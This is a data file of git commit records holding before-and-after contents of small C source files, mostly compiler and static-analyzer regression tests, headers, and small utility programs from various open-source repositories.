{"commit":"a8d6c1209a737eb760ece69e12348b4bd275dc9f","old_file":"include\/ofp\/ipv6endpoint.h","new_file":"include\/ofp\/ipv6endpoint.h","old_contents":"#ifndef OFP_IPV6ENDPOINT_H\n#define OFP_IPV6ENDPOINT_H\n\n#include \"ofp\/ipv6address.h\"\n\nnamespace ofp { \/\/ <namespace ofp>\n\nclass IPv6Endpoint {\npublic:\n\tIPv6Endpoint() = default;\n\tIPv6Endpoint(const IPv6Address &addr, UInt16 port) : addr_{addr}, port_{port} {}\n\tIPv6Endpoint(const std::string &addr, UInt16 port) : addr_{addr}, port_{port} {}\n\texplicit IPv6Endpoint(UInt16 port) : addr_{}, port_{port} {}\n\n\tbool parse(const std::string &s);\n\tvoid clear();\n\t\n\tbool valid() const { return port_ != 0; }\n\tconst IPv6Address &address() const { return addr_; }\n\tUInt16 port() const { return port_; }\n\n\tvoid setAddress(const IPv6Address &addr) { addr_ = addr; }\n\tvoid setPort(UInt16 port) { port_ = port; }\n\n\tstd::string toString() const;\n\t\nprivate:\n\tIPv6Address addr_;\n\tUInt16 port_ = 0;\n};\n\n} \/\/ <\/namespace ofp>\n\n#endif \/\/ OFP_IPV6ENDPOINT_H\n","new_contents":"#ifndef OFP_IPV6ENDPOINT_H\n#define OFP_IPV6ENDPOINT_H\n\n#include \"ofp\/ipv6address.h\"\n#include <istream>\n#include \"ofp\/log.h\"\n\nnamespace ofp { \/\/ <namespace ofp>\n\nclass IPv6Endpoint {\npublic:\n\tIPv6Endpoint() = default;\n\tIPv6Endpoint(const IPv6Address &addr, UInt16 port) : addr_{addr}, port_{port} {}\n\tIPv6Endpoint(const std::string &addr, UInt16 port) : addr_{addr}, port_{port} {}\n\texplicit IPv6Endpoint(UInt16 port) : addr_{}, port_{port} {}\n\n\tbool parse(const std::string &s);\n\tvoid clear();\n\t\n\tbool valid() const { return port_ != 0; }\n\tconst IPv6Address &address() const { return addr_; }\n\tUInt16 port() const { return port_; }\n\n\tvoid setAddress(const IPv6Address &addr) { addr_ = addr; }\n\tvoid setPort(UInt16 port) { port_ = port; }\n\n\tstd::string toString() const;\n\t\nprivate:\n\tIPv6Address addr_;\n\tUInt16 port_ = 0;\n};\n\nstd::istream &operator>>(std::istream &is, IPv6Endpoint &value);\nstd::ostream &operator<<(std::ostream &os, const IPv6Endpoint &value);\n\n\ninline std::istream &operator>>(std::istream &is, IPv6Endpoint &value)\n{\n\tstd::string str;\n\tis >> str;\n\tif (!value.parse(str)) {\n\t\tis.setstate(std::ios::failbit);\n\t}\n\treturn is;\n}\n\ninline std::ostream &operator<<(std::ostream &os, const IPv6Endpoint &value)\n{\n\treturn os << value.toString();\n}\n\n} \/\/ <\/namespace ofp>\n\n#endif \/\/ OFP_IPV6ENDPOINT_H\n","subject":"Add program options to bridgeofp.","message":"Add program options to bridgeofp.\n","lang":"C","license":"mit","repos":"byllyfish\/oftr,byllyfish\/oftr,byllyfish\/libofp,byllyfish\/oftr,byllyfish\/oftr,byllyfish\/libofp,byllyfish\/libofp,byllyfish\/oftr"}
{"commit":"ecb85e51ee8ef75ded6307bd64b9490323a52436","old_file":"libresource\/androidfw\/Util.h","new_file":"libresource\/androidfw\/Util.h","old_contents":"","new_contents":"\/*\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\/\n\n#ifndef _FB_UTIL_REIMPLEMENTATION\n#define _FB_UTIL_REIMPLEMENTATION\n\n#include <algorithm>\n#include <sstream>\n#include <string>\n#include <vector>\n\n\nnamespace android {\nnamespace util {\n\ninline std::vector<std::string> SplitAndLowercase(const std::string& str, char sep) {\n  std::vector<std::string> result;\n  std::stringstream ss(str);\n  std::string part;\n  while (std::getline(ss, part, sep)) {\n    std::transform(part.begin(), part.end(), part.begin(),\n                   [](unsigned char c) { return std::tolower(c); });\n    result.push_back(part);\n  }\n  return result;\n}\n\n} \/\/ namespace util\n} \/\/ namespace android\n\n#endif \/\/ _FB_UTIL_REIMPLEMENTATION\n","subject":"Add Locale.cpp to sync and minimal deps","message":"Add Locale.cpp to sync and minimal deps\n\nSummary: This will be used to facilitate the conversion of protobuf Configuration objects and ResTable_config structs.\n\nReviewed By: ssj933\n\nDifferential Revision: D37507440\n\nfbshipit-source-id: a557afd7dec0f071ff67629e3e7657dce86e50d2\n","lang":"C","license":"mit","repos":"facebook\/redex,facebook\/redex,facebook\/redex,facebook\/redex,facebook\/redex,facebook\/redex,facebook\/redex,facebook\/redex,facebook\/redex"}
{"commit":"1afc8f3851b76ce445a4e6d11cc87a277801bbad","old_file":"tests\/regression\/56-witness\/50-witness-lifter-fp1.c","new_file":"tests\/regression\/56-witness\/50-witness-lifter-fp1.c","old_contents":"","new_contents":"\/\/ PARAM: --enable ana.sv-comp.enabled --enable ana.sv-comp.functions --set ana.specification 'CHECK( init(main()), LTL(G ! call(reach_error())) )' --enable ana.int.interval\n\/\/ previously fixpoint not reached\n\/\/ extracted from sv-benchmarks loops-crafted-1\/loopv2\nint SIZE = 50000001;\nint __VERIFIER_nondet_int();\nint main() {\n  int n,i,j;\n  n = __VERIFIER_nondet_int();\n  if (!(n <= SIZE)) return 0;\n  i = 0; j=0;\n  while(i<n){\n\n    i = i + 4;\n    j = i +2;\n  }\n  return 0;\n}\n","subject":"Add witness lifter fixpoint not reached test from sv-benchmarks","message":"Add witness lifter fixpoint not reached test from sv-benchmarks\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"eb7482ed7ba773d3d560054ab8c662c81bf70edb","old_file":"Fingertips.h","new_file":"Fingertips.h","old_contents":"\/\/\n\/\/  Fingertips.h\n\/\/  Fingertips\n\/\/\n\/\/  Copyright © 2016 Mapbox. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n\/\/! Project version number for Fingertips.\nFOUNDATION_EXPORT double FingertipsVersionNumber;\n\n\/\/! Project version string for Fingertips.\nFOUNDATION_EXPORT const unsigned char FingertipsVersionString[];\n\n#import <Fingertips\/MPFingerTipWindow.h>\n\n\n","new_contents":"\/\/\n\/\/  Fingertips.h\n\/\/  Fingertips\n\/\/\n\/\/  Copyright © 2016 Mapbox. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n\/\/! Project version number for Fingertips.\nFOUNDATION_EXPORT double FingertipsVersionNumber;\n\n\/\/! Project version string for Fingertips.\nFOUNDATION_EXPORT const unsigned char FingertipsVersionString[];\n\n#import <Fingertips\/MBFingerTipWindow.h>\n\n\n","subject":"Fix prefix in header import","message":"Fix prefix in header import\n","lang":"C","license":"bsd-3-clause","repos":"mapbox\/Fingertips"}
{"commit":"c4cc403d1e7b020d6d5deb968e4686301a8c83ac","old_file":"test\/Driver\/linux-ld.c","new_file":"test\/Driver\/linux-ld.c","old_contents":"","new_contents":"\/\/ General tests that ld invocations on Linux targets sane.\n\/\/\n\/\/ RUN: %clang -no-canonical-prefixes -ccc-host-triple i386-unknown-linux %s -### -o %t.o 2>&1 \\\n\/\/ RUN:   | FileCheck --check-prefix=CHECK-LD-32 %s\n\/\/ CHECK-LD-32: \"{{.*}}\/ld\" {{.*}} \"-L\/lib\/..\/lib32\" \"-L\/usr\/lib\/..\/lib32\"\n\/\/\n\/\/ RUN: %clang -no-canonical-prefixes -ccc-host-triple x86_64-unknown-linux %s -### -o %t.o 2>&1 \\\n\/\/ RUN:   | FileCheck --check-prefix=CHECK-LD-64 %s\n\/\/ CHECK-LD-64: \"{{.*}}\/ld\" {{.*}} \"-L\/lib\/..\/lib64\" \"-L\/usr\/lib\/..\/lib64\"\n","subject":"Add a test that ensures we get the basic multilib '-L' flags to 'ld' invocations on Linux.","message":"Add a test that ensures we get the basic multilib '-L' flags to 'ld'\ninvocations on Linux.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@140909 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang"}
{"commit":"cdce7bd7f4d0a1114f9db3b94a62e5dd70130a09","old_file":"Include\/dictobject.h","new_file":"Include\/dictobject.h","old_contents":"\/*\nDictionary object type -- mapping from char * to object.\nNB: the key is given as a char *, not as a stringobject.\nThese functions set errno for errors.  Functions dictremove() and\ndictinsert() return nonzero for errors, getdictsize() returns -1,\nthe others NULL.  A successful call to dictinsert() calls INCREF()\nfor the inserted item.\n*\/\n\nextern typeobject Dicttype;\n\n#define is_dictobject(op) ((op)->ob_type == &Dicttype)\n\nextern object *newdictobject PROTO((void));\nextern object *dictlookup PROTO((object *dp, char *key));\nextern int dictinsert PROTO((object *dp, char *key, object *item));\nextern int dictremove PROTO((object *dp, char *key));\nextern int getdictsize PROTO((object *dp));\nextern char *getdictkey PROTO((object *dp, int i));\n\n\/* New interface with (string)object * instead of char * arguments *\/\nextern object *dict2lookup PROTO((object *dp, object *key));\nextern int dict2insert PROTO((object *dp, object *key, object *item));\nextern int dict2remove PROTO((object *dp, object *key));\nextern object *getdict2key PROTO((object *dp, int i));\n","new_contents":"\/*\nDictionary object type -- mapping from char * to object.\nNB: the key is given as a char *, not as a stringobject.\nThese functions set errno for errors.  Functions dictremove() and\ndictinsert() return nonzero for errors, getdictsize() returns -1,\nthe others NULL.  A successful call to dictinsert() calls INCREF()\nfor the inserted item.\n*\/\n\nextern typeobject Dicttype;\n\n#define is_dictobject(op) ((op)->ob_type == &Dicttype)\n\nextern object *newdictobject PROTO((void));\nextern object *dictlookup PROTO((object *dp, char *key));\nextern int dictinsert PROTO((object *dp, char *key, object *item));\nextern int dictremove PROTO((object *dp, char *key));\nextern int getdictsize PROTO((object *dp));\nextern char *getdictkey PROTO((object *dp, int i));\n","subject":"Remove dict2 interface -- it's now static.","message":"Remove dict2 interface -- it's now static.\n","lang":"C","license":"mit","repos":"sk-\/python2.7-type-annotator,sk-\/python2.7-type-annotator,sk-\/python2.7-type-annotator"}
{"commit":"4b78d2cada6aad776b2f3986730baded297a587d","old_file":"IAAI.c","new_file":"IAAI.c","old_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\nconst char RAW[] = \"\/bin\/stty raw\";\n\nconst char default_str[] = \"I AM AN IDIOT \";\n\nint main(int argc, char **argv) {\n  const char *str;\n  if ( argc == 2 )\n    str = argv[1];\n  else\n    str = default_str;\n\n  size_t len = strlen(str);\n\n  system(RAW);\n\n  while ( 1 ) {\n    for ( size_t i = 0 ; i < len ; i++ ) {\n      getchar();\n      printf(\"\\x1b[2K\\r\");\n      for ( size_t j = 0 ; j <= i ; j++ ) {\n\tprintf(\"%c\", str[j]);\n      }\n    }\n    printf(\"\\n\\r\");\n  }\n\n  return 0;\n}\n","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\nconst char RAW[] = \"\/bin\/stty raw\";\n#define CLEAR_LINE     \"\\x1b[2K\"\n#define GOTO_START     \"\\r\"\n#define GOTO_NEXT_LINE \"\\n\"\n\nconst char default_str[] = \"I AM AN IDIOT \";\n\nint main(int argc, char **argv) {\n  const char *str;\n  if ( argc == 2 )\n    str = argv[1];\n  else\n    str = default_str;\n\n  size_t len = strlen(str);\n\n  system(RAW);\n\n  while ( 1 ) {\n    for ( size_t i = 0 ; i < len ; i++ ) {\n      getchar();\n      printf(CLEAR_LINE GOTO_START);\n      for ( size_t j = 0 ; j <= i ; j++ ) {\n\tprintf(\"%c\", str[j]);\n      }\n    }\n    printf(GOTO_NEXT_LINE GOTO_START);\n  }\n\n  return 0;\n}\n","subject":"Make the constants easier to understand","message":"Make the constants easier to understand\n","lang":"C","license":"mit","repos":"vinamarora8\/IAAI"}
{"commit":"0e3a4a9fca8ea836bd60f2f1091a39acb9ccbaa1","old_file":"praxis\/wirth-problem-15.12.c","new_file":"praxis\/wirth-problem-15.12.c","old_contents":"","new_contents":"\/* Copyright 2012 Dennis Decker Jensen\n\nhttp:\/\/programmingpraxis.com\/2012\/12\/07\/wirth-problem-15-12\/\n\nIn his 1973 book \"Systematic Programming: An Introduction\", Niklaus Wirth\ngives the following problem as exercise 15.12:\n\nDevelop a program that generates in ascending order the least 100 numbers\nof the set M, where M is defined as follows:\n\na) The number 1 is in M.\nb) If x is in M, then y = 2 * x + 1 and z = 3 * x + 1 are also in M\nc) No other numbers are in M\n\nWirth also gives the first six numbers in the result sequence:\n1, 3, 4, 7, 9, 10, ...\n\nYour task is to write a program that finds the first N numbers in Wirth's\nsequence.\n\n*\/\n\n#include <stdio.h>\n\nvoid\nwirth(unsigned int n)\n{\n\tunsigned int y, z, iy, iz, i, m[n], min;\n\n\tm[0] = 1;\n\tprintf(\"  1:   1\\n\");\n\tiy = iz = 0;\n\tfor (i = 1; i < 100; ++i) {\n\t\ty = 2 * m[iy] + 1;\n\t\tz = 3 * m[iz] + 1;\n\t\tmin = z < y ? z : y;\n\t\tm[i] = min;\n\t\tprintf(\"%3d: %3d\\n\", i+1, min);\n\t\tif (y <= m[i]) ++iy;\n\t\tif (z <= m[i]) ++iz;\n\t}\n\n\treturn;\n}\n\nint\nmain(int argc, char *argv[])\n{\n\twirth(100);\n\treturn 0;\n}\n","subject":"Add classic Wirth problem on numbers 1-100.","message":"Add classic Wirth problem on numbers 1-100.\n","lang":"C","license":"isc","repos":"dennisdjensen\/sketchbook,dennisdjensen\/sketchbook,dennisdjensen\/sketchbook,dennisdjensen\/sketchbook,dennisdjensen\/sketchbook"}
{"commit":"bbf57ade4773694a0a4c03612f9b17e19702d669","old_file":"libyaul\/cons\/vdp1.c","new_file":"libyaul\/cons\/vdp1.c","old_contents":"\/*\n * Copyright (c) 2012 Israel Jacques\n * See LICENSE for details.\n *\n * Israel Jacques <mrko@eecs.berkeley.edu>\n *\/\n\n#include \"cons.h\"\n\ntypedef struct {\n} cons_vdp1_t;\n\nstatic struct cons_vdp1_t *cons_vdp1_new(void);\nstatic void cons_vdp1_write(struct cons *, int, uint8_t, uint8_t);\n\nvoid\ncons_vdp1_init(struct cons *cons)\n{\n        cons_vdp1_t *cons_vdp1;\n\n        cons_vdp1 = cons_vdp1_new();\n        cons->driver = cons_vdp1;\n        cons->write = cons_vdp1_write;\n\n        cons_reset(cons);\n}\n\nstatic struct cons_vdp1_t *\ncons_vdp1_new(void)\n{\n        static struct cons_vdp1_t cons_vdp1;\n        return &cons_vdp1;\n}\n\nstatic void\ncons_vdp1_write(struct cons *cons, int c, uint8_t fg, uint8_t bg)\n{\n}\n","new_contents":"\/*\n * Copyright (c) 2012 Israel Jacques\n * See LICENSE for details.\n *\n * Israel Jacques <mrko@eecs.berkeley.edu>\n *\/\n\n#include <inttypes.h>\n#include <stdbool.h>\n#include <ctype.h>\n#include <string.h>\n\n#include \"cons.h\"\n\ntypedef struct {\n} cons_vdp1_t;\n\nstatic cons_vdp1_t *cons_vdp1_new(void);\nstatic void cons_vdp1_reset(struct cons *);\nstatic void cons_vdp1_write(struct cons *, int, uint8_t, uint8_t);\n\nvoid\ncons_vdp1_init(struct cons *cons)\n{\n        cons_vdp1_t *cons_vdp1;\n\n        cons_vdp1 = cons_vdp1_new();\n\n        cons->driver = cons_vdp1;\n\n        cons->write = cons_vdp1_write;\n        cons->reset = cons_vdp1_reset;\n\n        cons_reset(cons);\n}\n\nstatic cons_vdp1_t *\ncons_vdp1_new(void)\n{\n        \/* XXX Replace with TLSF *\/\n        static cons_vdp1_t cons_vdp1;\n        return &cons_vdp1;\n}\n\nstatic void\ncons_vdp1_reset(struct cons *cons)\n{\n        cons_vdp1_t *cons_vdp1;\n\n        cons_vdp1 = cons->driver;\n\n        \/* Reset *\/\n}\n\nstatic void\ncons_vdp1_write(struct cons *cons, int c, uint8_t fg, uint8_t bg)\n{\n        cons_vdp1_t *cons_vdp1;\n\n        cons_vdp1 = cons->driver;\n}\n","subject":"Change stubs for VDP1 cons driver","message":"Change stubs for VDP1 cons driver\n","lang":"C","license":"mit","repos":"ijacquez\/libyaul,ijacquez\/libyaul,ijacquez\/libyaul,ijacquez\/libyaul"}
{"commit":"bb414dec4868931b7589aa81b0469ab4cb37eebe","old_file":"main.c","new_file":"main.c","old_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include \"is_utf8.h\"\n\nint main(int ac, char **av)\n{\n    if (ac != 2)\n    {\n        fprintf(stderr, \"USAGE: %s string\\n\", av[0]);\n        return EXIT_FAILURE;\n    }\n    return is_utf8((unsigned char*)av[1], strlen(av[1]));\n}\n","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n#include \"is_utf8.h\"\n\n#define BUFSIZE 4096\n\nint main(int ac, char **av)\n{\n    char buffer[BUFSIZE];\n    int  read_retval;\n\n    if (ac != 2)\n    {\n        fprintf(stderr, \"USAGE: %s STRING or - for stdin.\\n\", av[0]);\n        return EXIT_FAILURE;\n    }\n    if (strcmp(av[1], \"-\") == 0)\n    {\n        while (42)\n        {\n            read_retval = read(0, buffer, BUFSIZE);\n            if (read_retval == 0)\n                return EXIT_SUCCESS;\n            if (read_retval == -1)\n            {\n                perror(\"read\");\n                return EXIT_FAILURE;\n            }\n            if (is_utf8((unsigned char*)buffer, read_retval) != 0)\n                return EXIT_FAILURE;\n        }\n        return EXIT_SUCCESS;\n    }\n    return is_utf8((unsigned char*)av[1], strlen(av[1]));\n}\n","subject":"Read on stdin for is_utf8 -","message":"NEW: Read on stdin for is_utf8 -\n","lang":"C","license":"bsd-2-clause","repos":"JulienPalard\/is_utf8,JulienPalard\/is_utf8"}
{"commit":"caa2c89c473f15aa1f8c8530d136e2f5a27a6415","old_file":"testft.c","new_file":"testft.c","old_contents":"","new_contents":"#include <err.h>\n#include <math.h>\n#include <stdio.h>\n#include <stdlib.h>\n\n#include \"pt.h\"\n\n#define EPSILON 1.0e-8\n\nint\nmain(int argc, char **argv)\n{\n\tdouble e_ft, e_ref, *f_ov, *d_ov, *l1, *t2, *l2, *i_oovv;\n\tdouble *i2_oovo, *i3_ovvv, *i6_oovo, *i7_ovvv;\n\tsize_t o, v;\n\n#ifdef WITH_MPI\n\tMPI_Init(&argc, &argv);\n#endif\n\tif (argc < 2)\n\t\terrx(1, \"specify test file\");\n\n\te_ft = cc_ft(o, v, f_ov, d_ov, l1, t2, l2, i_oovv, i2_oovo,\n\t    i3_ovvv, i6_oovo, i7_ovvv);\n\n#ifdef WITH_MPI\n\tMPI_Finalize();\n#endif\n\treturn (fabs(e_ft - e_ref) < EPSILON ? 0 : 1);\n}\n","subject":"Add dummy test for (fT).","message":"Add dummy test for (fT).\n","lang":"C","license":"isc","repos":"ilyak\/libpt,ilyak\/libpt"}
{"commit":"f5d025e4a30b5f0dc1a4df85135e0ee507847342","old_file":"test\/CodeGen\/unreachable-ret.c","new_file":"test\/CodeGen\/unreachable-ret.c","old_contents":"\/\/ RUN: %clang_cc1 -emit-llvm -o - %s | FileCheck %s\n\nextern void abort() __attribute__((noreturn));\n\nvoid f1() {\n  abort();\n}\n\/\/ CHECK-LABEL: define void @f1()\n\/\/ CHECK-NEXT: entry:\n\/\/ CHECK-NEXT:   call void @abort()\n\/\/ CHECK-NEXT:   unreachable\n\/\/ CHECK-NEXT: }\n\nvoid *f2() {\n  abort();\n  return 0;\n}\n\/\/ CHECK-LABEL: define i8* @f2()\n\/\/ CHECK-NEXT: entry:\n\/\/ CHECK-NEXT:   call void @abort()\n\/\/ CHECK-NEXT:   unreachable\n\/\/ CHECK-NEXT: }\n\n","new_contents":"\/\/ RUN: %clang_cc1 -emit-llvm -o - %s | FileCheck %s\n\nextern void abort() __attribute__((noreturn));\n\nvoid f1() {\n  abort();\n}\n\/\/ CHECK-LABEL: define {{.*}}void @f1()\n\/\/ CHECK-NEXT: entry:\n\/\/ CHECK-NEXT:   call void @abort()\n\/\/ CHECK-NEXT:   unreachable\n\/\/ CHECK-NEXT: }\n\nvoid *f2() {\n  abort();\n  return 0;\n}\n\/\/ CHECK-LABEL: define {{.*}}i8* @f2()\n\/\/ CHECK-NEXT: entry:\n\/\/ CHECK-NEXT:   call void @abort()\n\/\/ CHECK-NEXT:   unreachable\n\/\/ CHECK-NEXT: }\n\n","subject":"Fix for different build configurations.","message":"Fix for different build configurations.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@358125 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"326c70c9fb409f0c8d423ee860d687912ab1fc8e","old_file":"test\/Misc\/driver-verify.c","new_file":"test\/Misc\/driver-verify.c","old_contents":"\/\/ RUN: not %clang %s -verify 2>&1 | FileCheck %s\n\/\/ RUN: %clang -cc1 -verify %s\n\/\/ expected-no-diagnostics\n\n\/\/ Test that -verify is strictly rejected as unknown by the driver.\n\/\/ CHECK: unknown argument: '-verify'\n","new_contents":"\/\/ RUN: not %clang -verify %s 2>&1 | FileCheck %s\n\/\/ RUN: %clang -cc1 -verify %s\n\/\/ expected-no-diagnostics\n\n\/\/ Test that -verify is strictly rejected as unknown by the driver.\n\/\/ CHECK: unknown argument: '-verify'\n","subject":"Tweak test run line for readability","message":"Tweak test run line for readability\n\nMatching up the argument order in r199455's two RUN lines better demonstrates\nwhat's going on.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@199456 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"9e166082555486d9a9bd8b714ac52f6c4ff4a04c","old_file":"Sources\/KeepLayout.h","new_file":"Sources\/KeepLayout.h","old_contents":"\/\/\n\/\/  KeepLayout.h\n\/\/  Keep Layout\n\/\/\n\/\/  Created by Martin Kiss on 28.1.13.\n\/\/  Copyright (c) 2013 Triceratops. All rights reserved.\n\/\/\n\n#ifdef __cplusplus\n\n#import <Foundation\/Foundation.h>\n\n#else \n\n@import Foundation;\n\n#endif\n\n\nFOUNDATION_EXPORT double KeepLayoutVersionNumber;\nFOUNDATION_EXPORT const unsigned char KeepLayoutVersionString[];\n\n\n\n#import \"KeepTypes.h\"\n#import \"KeepAttribute.h\"\n#import \"KeepView.h\"\n#import \"KeepArray.h\"\n#import \"KeepLayoutConstraint.h\"\n\n#if TARGET_OS_IPHONE\n#import \"UIViewController+KeepLayout.h\"\n#import \"UIScrollView+KeepLayout.h\"\n#endif\n","new_contents":"\/\/\n\/\/  KeepLayout.h\n\/\/  Keep Layout\n\/\/\n\/\/  Created by Martin Kiss on 28.1.13.\n\/\/  Copyright (c) 2013 Triceratops. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n\n\nFOUNDATION_EXPORT double KeepLayoutVersionNumber;\nFOUNDATION_EXPORT const unsigned char KeepLayoutVersionString[];\n\n\n\n#import \"KeepTypes.h\"\n#import \"KeepAttribute.h\"\n#import \"KeepView.h\"\n#import \"KeepArray.h\"\n#import \"KeepLayoutConstraint.h\"\n\n#if TARGET_OS_IPHONE\n#import \"UIViewController+KeepLayout.h\"\n#import \"UIScrollView+KeepLayout.h\"\n#endif\n","subject":"Simplify importing Foundation while still compatible with C++","message":"Simplify importing Foundation while still compatible with C++","lang":"C","license":"mit","repos":"Tricertops\/KeepLayout,K-Be\/KeepLayout,K-Be\/KeepLayout,iMartinKiss\/KeepLayout,Tricertops\/KeepLayout"}
{"commit":"61e404e36c914476938db67d873a0df32c6c3a9c","old_file":"test\/CodeGen\/ppc64-varargs-struct.c","new_file":"test\/CodeGen\/ppc64-varargs-struct.c","old_contents":"","new_contents":"\/\/ REQUIRES: ppc64-registered-target\n\/\/ RUN: %clang_cc1 -triple powerpc64-unknown-linux-gnu -emit-llvm -o - %s | FileCheck %s\n\n#include <stdarg.h>\n\nstruct x {\n  long a;\n  double b;\n};\n\nvoid testva (int n, ...)\n{\n  va_list ap;\n\n  struct x t = va_arg (ap, struct x);\n\/\/ CHECK: bitcast i8* %ap.cur{{[0-9]*}} to %struct.x*\n\/\/ CHECK: bitcast %struct.x* %t to i8*\n\/\/ CHECK: bitcast %struct.x* %{{[0-9]+}} to i8*\n\/\/ CHECK: call void @llvm.memcpy\n\n  __int128_t u = va_arg (ap, __int128_t);\n\/\/ CHECK: ptrtoint i8* %ap.cur{{[0-9]*}} to i64\n\/\/ CHECK: add i64 %{{[0-9]+}}, 15\n\/\/ CHECK: and i64 %{{[0-9]+}}, 4294967280\n\/\/ CHECK: inttoptr i64 %{{[0-9]+}} to i8*\n\n  int v = va_arg (ap, int);\n\/\/ CHECK: ptrtoint i8* %ap.cur{{[0-9]*}} to i64\n\/\/ CHECK: add i64 %{{[0-9]+}}, 4\n\/\/ CHECK: inttoptr i64 %{{[0-9]+}} to i8*\n\/\/ CHECK: bitcast i8* %{{[0-9]+}} to i32*\n}\n","subject":"Add a test case for r156143, which enabled general varargs support for the 64-bit PPC SVR4 ABI.","message":"Add a test case for r156143, which enabled general varargs support for the\n64-bit PPC SVR4 ABI.\n\nThe test verifies passing of structures, items with 16-byte alignment, and\nsmall items that are passed right-justified in the parameter save area slot.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@165245 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"3ebee2620729cf2aae63f98ef3a41c3245844e3f","old_file":"tests\/regression\/11-heap\/14-list_entry_rc-unroll.c","new_file":"tests\/regression\/11-heap\/14-list_entry_rc-unroll.c","old_contents":"","new_contents":"\/\/ PARAM: --disable ana.mutex.disjoint_types --set ana.activated[+] \"'var_eq'\"  --set ana.activated[+] \"'symb_locks'\" --set ana.malloc.unique_address_count 1\n\/\/ Copied from 06-symbeq\/14-list_entry_rc, proven safe thanks to unique address\n#include<pthread.h>\n#include<stdlib.h>\n#include<stdio.h>\n\n#define list_entry(ptr, type, member) \\\n  ((type *)((char *)(ptr)-(unsigned long)(&((type *)0)->member)))\n\npthread_mutexattr_t mutexattr;\n\nstruct s {\n  int datum;\n  pthread_mutex_t mutex;\n  int list;\n} *A;\n\nvoid init (struct s *p, int x) {\n  p->datum = x;\n  pthread_mutex_init(&p->mutex, &mutexattr);\n}\n\nvoid update (int *p) {\n  struct s *s = list_entry(p, struct s, list);\n  pthread_mutex_lock(&s->mutex);\n  s++;\n  \/\/ Not actual race: https:\/\/gitlab.com\/sosy-lab\/benchmarking\/sv-benchmarks\/-\/issues\/1354\n  s->datum++; \/\/ NORACE\n  pthread_mutex_unlock(&s->mutex); \/\/ no UB because ERRORCHECK\n}\n\nvoid *t_fun(void *arg) {\n  update(&A->list);\n  return NULL;\n}\n\nint main () {\n  pthread_mutexattr_init(&mutexattr);\n  pthread_mutexattr_settype(&mutexattr, PTHREAD_MUTEX_ERRORCHECK);\n\n  pthread_t t1;\n  A = malloc(2 * sizeof(struct s));\n  init(A,666);\n  init(&A[1],999); \/\/ extra element for s++ in update\n\n  pthread_create(&t1, NULL, t_fun, NULL);\n  update(&A->list);\n  return 0;\n}\n\n","subject":"Add 06-symbeq\/14-list_entry_rc version where alloc unrolling gives enough precision","message":"Add 06-symbeq\/14-list_entry_rc version where alloc unrolling gives enough precision\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
